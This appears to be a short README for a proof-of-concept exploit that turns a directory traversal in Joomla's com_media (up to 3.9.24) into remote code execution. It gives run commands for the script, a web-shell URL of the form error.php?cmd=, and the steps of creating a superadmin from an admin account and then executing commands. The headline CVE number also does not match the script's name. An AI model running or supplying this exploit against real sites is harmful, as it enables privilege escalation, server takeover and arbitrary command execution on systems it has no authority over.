CVE-2020-24597

Directory traversal in com_media to RCE

Two CVEs are the same.

PoC (Full)

Affected version: Joomla core <=3.9.24

User requirement: Admin account (Not Superadmin)

Gain access: Create superadmin, then trigger RCE.

Remote Code Execution (RCE) in Joomla

Run cve-2021-23132.py with your credentials and access link rce:

http://target/templates/protostar/error.php?cmd=ls

PoC:

python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234  -rce 1 -cmd ls

I wrote PoC to be able to use Directory Traversal or RCE mode.

I used Directory Traversal to trigger RCE.

You can use python3 cve-2021-23132.py -h to how to use PoC.

Note: Make sure you used python3 and install lmxl by pip3 install lxml
